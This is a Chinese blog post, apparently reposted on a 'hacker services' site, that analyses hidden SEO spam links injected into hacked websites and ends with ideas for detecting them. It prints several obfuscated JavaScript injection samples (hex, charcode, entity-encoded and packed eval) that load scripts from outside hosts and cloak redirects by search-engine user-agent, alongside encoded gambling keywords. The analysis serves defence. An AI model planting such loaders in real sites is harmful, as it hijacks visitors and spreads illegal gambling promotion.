当前位置:首页 > 黑客服务 > 正文内容

关于暗链那些不得不说的事儿

访客4年前 (2021-04-15)黑客服务1054

前言

最近研究暗链比较多,也看了看最近网上的一些分析暗链的文章,发现关于暗链的文章还是比较少,内容大多不太深,比较粗糙,而且很多植入手法也比较落后了。所以我就想来写一篇符合当前时代特点的暗链分析文章,就当是抛砖引玉,有啥写的不到位的地方还请各位师傅斧正。

什么是暗链

暗链是SEO手法中相当普遍的一种手段,笼统地说,它就是指一些人用非正常的手段获取的其它网站的反向链接,最常见的黑链就是通过各种网站程序漏洞获取搜索引擎权重或者PR较高的网站的webshell,进而在被黑网站上链接自己的网站,其性质与明链一致,都是属于为高效率提升排名,而使用的作弊手法。

暗链分类

在学习分析暗链的过程中感觉很多文章都没有对暗链有一个统一的分类,有些文章甚至把挂马和暗链混为一潭,所以我在这里先把暗链分为这么两类,以便后续分析:

JS引入型暗链——通过修改网站title,引入外部JavaScript代码来将暗链植入被害网站,当用户通过搜索引擎搜索特定关键字时(你懂的)进入该网站,通过引入的外部JavaScript代码实现跳转到非法网站。这种暗链是本文研究的重点。

html隐藏型暗链——通过css或者JavaScript代码隐藏暗链,通常是通过position为负数,或者将display设置为none等方式来隐藏,目的是为了提升非法网站的SEO排名,但是这种暗链已经越来越少了,现在的暗链大部分都是JS引入型暗链直接跳转,故此种手法本文不做研究。

几种常见的JS引入型暗链

一:JavaScript中window对象引入暗链

这种手法的原理是调用widnows对象中的document.write方法将外部的JS代码引入到当前页面,通常还会配合使用16进制编码来实现隐藏的目的。废话不多讲,直接上案例

这个案例中,黑客将网站的title、keywords、description都换成了10进制的unicode编码,这样的确能起到一些隐藏的作用,10进制unicode编码在浏览器解析的时候会还原成字符。

<title>&amp#21271;&amp#20140;&amp#36187;&amp#36710;&amp#112;&amp#107;&amp#49;&amp#48;&amp#32;&amp#21271;&amp#20140;&amp#36187;&amp#36710;&amp#112;&amp#107;&amp#49;&amp#48;&amp#21382;&amp#21490;&amp#35760;&amp#24405;&amp#32;&amp#112;&amp#107;&amp#49;&amp#48;&amp#32593;&amp#19978;&amp#25237;&amp#27880;&amp#45;&amp#21271;&amp#20140;&amp#112;&amp#107;&amp#49;&amp#48;&amp#30452;&amp#25773;&amp#32593;</title> <meta name="keywords" content="&amp#21271;&amp#20140;&amp#112;&amp#107;&amp#49;&amp#48;&amp#24320;&amp#22870;&amp#30452;&amp#25773;&amp#44;&amp#112;&amp#107;&amp#49;&amp#48;&amp#24320;&amp#22870;&amp#30452;&amp#25773;&amp#44;&amp#21271;&amp#20140;&amp#36187;&amp#36710;&amp#112;&amp#107;&amp#49;&amp#48;&amp#24320;&amp#22870;&amp#32467;&amp#26524;&amp#44;&amp#21271;&amp#20140;&amp#36187;&amp#36710;&amp#112;&amp#107;&amp#49;&amp#48;&amp#24320;&amp#22870;&amp#30452;&amp#25773;&amp#44;&amp#21271;&amp#20140;&amp#36187;&amp#36710;&amp#112;&amp#107;&amp#49;&amp#48;&amp#25237;&amp#27880;&amp#32593;&amp#31449;&amp#44;&amp#112;&amp#107;&amp#49;&amp#48;&amp#32593;&amp#19978;&amp#24320;&amp#25143;&amp#44;&amp#112;&amp#107;&amp#49;&amp#48;&amp#32593;&amp#19978;&amp#25237;&amp#27880;&amp#44;&amp#21271;&amp#20140;&amp#36187;&amp#36710;&amp#35270;&amp#39057;&amp#32593;" /> <meta name="description" content="&amp#12304;&amp#49;&amp#49;&amp#48;&amp#48;&amp#107;&amp#97;&amp#105;&amp#46;&amp#99;&amp#111;&amp#109;&amp#12305;&amp#32463;&amp#21271;&amp#20140;&amp#31119;&amp#24425;&amp#23448;&amp#32593;&amp#25480;&amp#26435;&amp#44;&amp#25552;&amp#20379;&amp#21271;&amp#20140;&amp#36187;&amp#36710;&amp#112;&amp#107;&amp#49;&amp#48;&amp#21382;&amp#21490;&amp#35760;&amp#24405;&amp#44;&amp#21271;&amp#20140;&amp#36187;&amp#36710;&amp#112;&amp#107;&amp#49;&amp#48;&amp#24320;&amp#22870;&amp#35270;&amp#39057;&amp#44;&amp#21271;&amp#20140;&amp#36187;&amp#36710;&amp#24320;&amp#22870;&amp#32467;&amp#26524;&amp#26597;&amp#35810;&amp#44;&amp#21271;&amp#20140;&amp#36187;&amp#36710;&amp#112;&amp#107;&amp#49;&amp#48;&amp#22312;&amp#32447;&amp#25237;&amp#27880;&amp#44;&amp#112;&amp#107;&amp#49;&amp#48;&amp#32593;&amp#19978;&amp#24320;&amp#25143;&amp#44;&amp#26368;&amp#19987;&amp#19994;&amp#30340;&amp#21271;&amp#20140;&amp#36187;&amp#36710;&amp#30452;&amp#25773;&amp#32593;&amp#33;"/>

将这些十进制unicode编码丢到站长工具中解密:

可以看到真实内容其实是这些。

接着分析JavaScript代码部分

<script type="text/javascript"> window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] ('\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x73\x65\x6f\x32\x36\x38\x2e\x73\x75\x2e\x62\x63\x65\x62\x6f\x73\x2e\x63\x6f\x6d\x2f\x31\x31\x30\x30\x6b\x61\x69\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'); </script><script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu")==-1){document.title="XXXXX科技有限公司"}</script>

可以看到他调用了JavaScript中的windows对象,然后使用的方法都使用了16进制的编码,因为JavaScript是支持16进制编码的,这样可以躲过一部分简单的检测工具,确实具有一些隐蔽性;后面调用navigator对象中的useragent方法判断用户访问的useragent,如果不是通过百度跳转过来的就将title设置为正常的title。我们将上面这段代码中的16进制编码丢到16进制解密工具中。

这样可以看到,他其实是使用的window对象中的document.wirte方法,将一段外部JavaScript代码写入到了当前的页面,这样就完成了一段暗链的植入。(关于引入的外部JavaScript代码片段后续文章继续讲解,本文先讲引入手法)

二:JavaScript中String.fromCharCode方法引入暗链

这种引入方式也是现在比较多的一种,原理是通过String.fromCharCode函数将10进制ascii码转换为正常的字符,然后调用document.wirte方法写入当前页面,废话不多说,上案例。

前面的title、keywords、description还是那么的如出一辙,那么的熟悉的10进制unicode编码。放进站长工具转换一波。

这熟悉的文字,啧啧啧

下面分析JavaScript代码部分

<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu")==-1){document.title="系统登录,XXX管理系统 "}</script> <script type="text/javascript"> var xt=String.fromCharCode(60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,32,115,114,99,61,34,104,116,116,112,115,58,47,47,115,102,104,117,102,104,50,46,99,111,109,47,121,108,99,46,106,115,34,62,60,47,115,99,114,105,112,116,62,); document.write(xt); </script>

还是那个味儿,不过换成了String.fromCharCode方法配合10进制ASCII码+document.write方法实现。首先将这一串10进制ASCII码转换为了String字符串。我们可以使用python中的chr()方法解码得到他的真实字符串。

然后使用document.wirte方法将这串字符串写入到当前页面,这样就完成了外部JavaScript代码的引入,从而实现了暗链的植入。

三:使用十进制unicode编码引入JavaScript

这种方法是通过引入JavaScript时,<script src="https://www.freebuf.com/articles/web/XX">通过将其中的src改为十进制unicode编码来实现的。这种方法不是在JavaScript上做文章,而是利用html的特性,使用十进制unicode编码改变<script>标签中的src来做文章

废话不多说,上案例:

十进制unicode的编码的title啥的就不讨论了,前面已经讲过了,直接看JavaScript部分

<script type="text/javascript" src="https://www.freebuf.com/articles/web/&amp#104;&amp#116;&amp#116;&amp#112;&amp#115;&amp#58;&amp#47;&amp#47;&amp#119;&amp#119;&amp#119;&amp#46;&amp#99;&amp#113;&amp#105;&amp#97;&amp#110;&amp#46;&amp#99;&amp#110;&amp#47;&amp#97;&amp#121;&amp#120;&amp#49;&amp#54;&amp#56;&amp#46;&amp#106;&amp#115;"></script>

可以看到黑客将src使用了十进制unicode编码,从而可以规避一些简单的或者肉眼的检测。

我们将十进制unicode编码丢进站长工具中解码

可以看到其引入的是一个外部的JavaScript代码,从而实现了暗链的植入。可以跟进去看看。

主要起作用的还是圈出的部分,上面是关于访问统计的代码。可以看到他先判断这个访问是不是通过搜索引擎过来的,如果是通过搜索引擎过来的,才会进行跳转。太可恶了!

四:JavaScript中eval函数混淆引入

先看eval函数的作用:

好家伙,是不是有点webshell那味儿了,但是这个方法在JavaScript中用的并不多。使用这个方法的地方一般是一些需要混淆加密的代码才用,黑客就利用上了这个来实现混淆加密自己的暗链。

废话不多说,直接上案例:

十进制unicode编码的title啥的我就不翻译了,上面都讲过了,直接开始分析JavaScript代码部分

<script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('l["\\e\\c\\1\ \\f\\8\\o\\0"]["\\7\\3\\9\\0\\8"](\'\\g\\2\\1\\3\\9\\4\\0 \\0\\m\\4\\8\\d\\6\\0\\8\\j\\0\\5\\h\\a\\k\\a\\2\\1\\3\\9\\4\\0\\6 \\2\\3\\1\\d\\6\ \\0\\0\\4\\2\P\5\\7\\7\\7\\b\\v\\1\\e\\a\\2\\q\\b\\1\\c\\f\\5\\r\\p\\s\\b\\h\\2\\6\\i\\g\\5\\2\\1\\3\\9\\4\\0\\i\');',32,32,'x74|x63|x73|x72|x70|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6d|x3c|x6a|x3e|x78|x76|window|x79|x75|x6e|x36|x38|x33|x35|x68|x3a|x62'.split('|'),0,{})) </script>

乍一看非常的懵逼,仔细一看还是懵逼,不过没关系,既然这么懵逼的东西浏览器可以解析,那就证明这东西可以逆着推

我们直接上前人写好的eval函数混淆工具,丢进去解密

哦豁,可以看到解密之后原来是我前面说的第一中window对象引入的手法呀,那么我们就可以重复前面的手法,解密16进制代码,得到真实内容如下

其实还是使用了document.write方法将外部JavaScript代码引入当前页面,只不过使用了eval函数进行混淆罢了。

其实细想想,eval函数不仅可以配合我前面写的第一种方式引入,还可以配合第二种、第三种,因为eval函数的作用说白了就是混淆一遍代码。

自动化检测思路

正所谓“懒是人类进步的阶梯”,一切能用工具代替的工作我们人类尽量不要用手去做,所以我从几个方面思考了一下面对这种新时代暗链的自动化检测思路,得出下面这么几条心得,但是怎么去用代码实现,我这就不讨论了。

对于windows对象引入的,判断其是否使用了16进制代码,如果使用了,那么怀疑度+1。然后再判断16进制代码解析之后的内容,如果出现了script字样,到这基本就可以判断是不是暗链了。如果还是觉得不保险,可以看其是否引入了外部js,如果引入了,再结合威胁情报等工具,就可以做出判断了。

对于使用十进制ASCII码进行伪装的暗链,可以判断其变量是否被document.wirte对象引用了,如果引用了再判断其十进制ASCII码的内容,剩下的步骤和上面一样。

对于改变script标签src属性的暗链,可以直接翻译其10进制unicode编码,结合威胁情报或者跟进JavaScript代码等方式进行判断。

对于eval函数混淆的暗链,可以先走一个逆向的过程,然后的分析步骤就和上面三种一样了。

扫描二维码推送至手机访问。

版权声明:本文由黑客接单发布,如需转载请注明出处。

本文链接:http://therlest.com/106241.html

分享给朋友:

“关于暗链那些不得不说的事儿” 的相关文章

洗米华被抓(沙美华最近怎么了)

据中国电子商务研究中心2021年11月26日23:49:12的最新发布,微博网友@魔鬼管理学 爆料。 平安夜来临之际,事件,在网上炒得沸沸扬扬,引发全网热议! 据悉,洗米华被抓后来我换了俱乐部。。。 1.洗米华出什么事了...

贾秀东个人资料简介(简历及图片)

贾秀东人物概况 本页面提供了贾秀东个人资料简介(简历及图片),贾秀东是谁?贾秀东个人简介资料完整设计了网页求职找工作编辑个人简历作品所需要的贾秀东网站常用模板元素,不保证贾秀东人物数据真实,任何问题请联系管理员调整。 贾秀东图片 贾秀东个人资料简介 贾秀东,中国国际问题研究所特聘研究员。1...

吃鸡鸭的屁股会有病吗?我非常爱吃鸡鸭的屁股,但经常吃会有病吗?另

吃鸡鸭的屁股会有病吗?我非常爱吃鸡鸭的屁股,但经常吃会有病吗?另 鸡鸭的肛门附近组织,布满大大小小的腺体,各类秽物与毒素都在这些腺体囤积;鸡鸭的肛门也有非常高密度的大肠杆菌,所以鸡鸭的屁股不是少吃的问题,而是不能吃.吃得少可能没觉出怎样,多了问题就显出来了.而且鸡鸭屁股的大肠杆菌会随着蛋生出来的时...

身份证信息被黑客盗取(黑客能把手机内身份证信息盗取吗)

一、身份证信息被黑客盗取(黑客能把手机内身份证信息盗取吗)方法总结 1、黑客通过手身份姓名能否窃取别人银行卡里。朋友你好,这个问题不是这样理解的的,黑客是通过你的这些信息,破易你的银行卡号支付密码来盗取你的财物的,一般你只要不乱点链接,不轻易在手机。黑客控制了手机,窃取了身份证号码手机号姓名等所有...

dnf国庆套礼包内容 「地下城国庆套2021」

很好,198元类型,比其他的高级时装属性好很多,称号加什么?还副送什么?礼包包含多少套物品?知道的说下!30号维护更新,奇幻之旅称号,非常划算。宝珠,价格是228和198两种时装套。 效果和白虎差不多,包括光环装扮,来说还可以。 100雷米,估计还几套新国庆时装,DNF2012国庆时装198礼包,最...

铁盖子可以放入高压锅蒸吗?装酱料的铁盖子,外面的涂层有些剥落,好

铁盖子可以放入高压锅蒸吗?装酱料的铁盖子,外面的涂层有些剥落,好 铁盖子可以放入高压锅蒸吗? 装酱料的铁盖子,外面的涂层有些剥落,好象也没锈,可以拿它盖严瓶子入高压锅蒸吗? 绝对不行!既危险又不卫生。盖住的瓶子在高压锅中加热,很容易形成压力差而爆炸;铁在高压锅中的水蒸汽作用下极易变成四氧化三...

评论列表

晴枙好怪
2年前 (2022-07-03)

;amp#44;&amp#112;&amp#107;&amp#49;&amp#48;&amp#32593;&amp#19978;&amp#24320;&amp#25143;&

寻妄忿咬
2年前 (2022-07-03)

检测。我们将十进制unicode编码丢进站长工具中解码可以看到其引入的是一个外部的JavaScript代码,从而实现了暗链的植入。可以跟进去看看。主要起作用的还是圈出的部分,上面是关于访问统计的代码。可以看到他先判断这个访问是不是通过搜索引擎过来的

俗野勒言
2年前 (2022-07-03)

#21271;&amp#20140;&amp#31119;&amp#24425;&amp#23448;&amp#32593;&amp#2

瑰颈节枝
2年前 (2022-07-03)

;&amp#48;&amp#25237;&amp#27880;&amp#32593;&amp#31449;&amp#44;&a

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。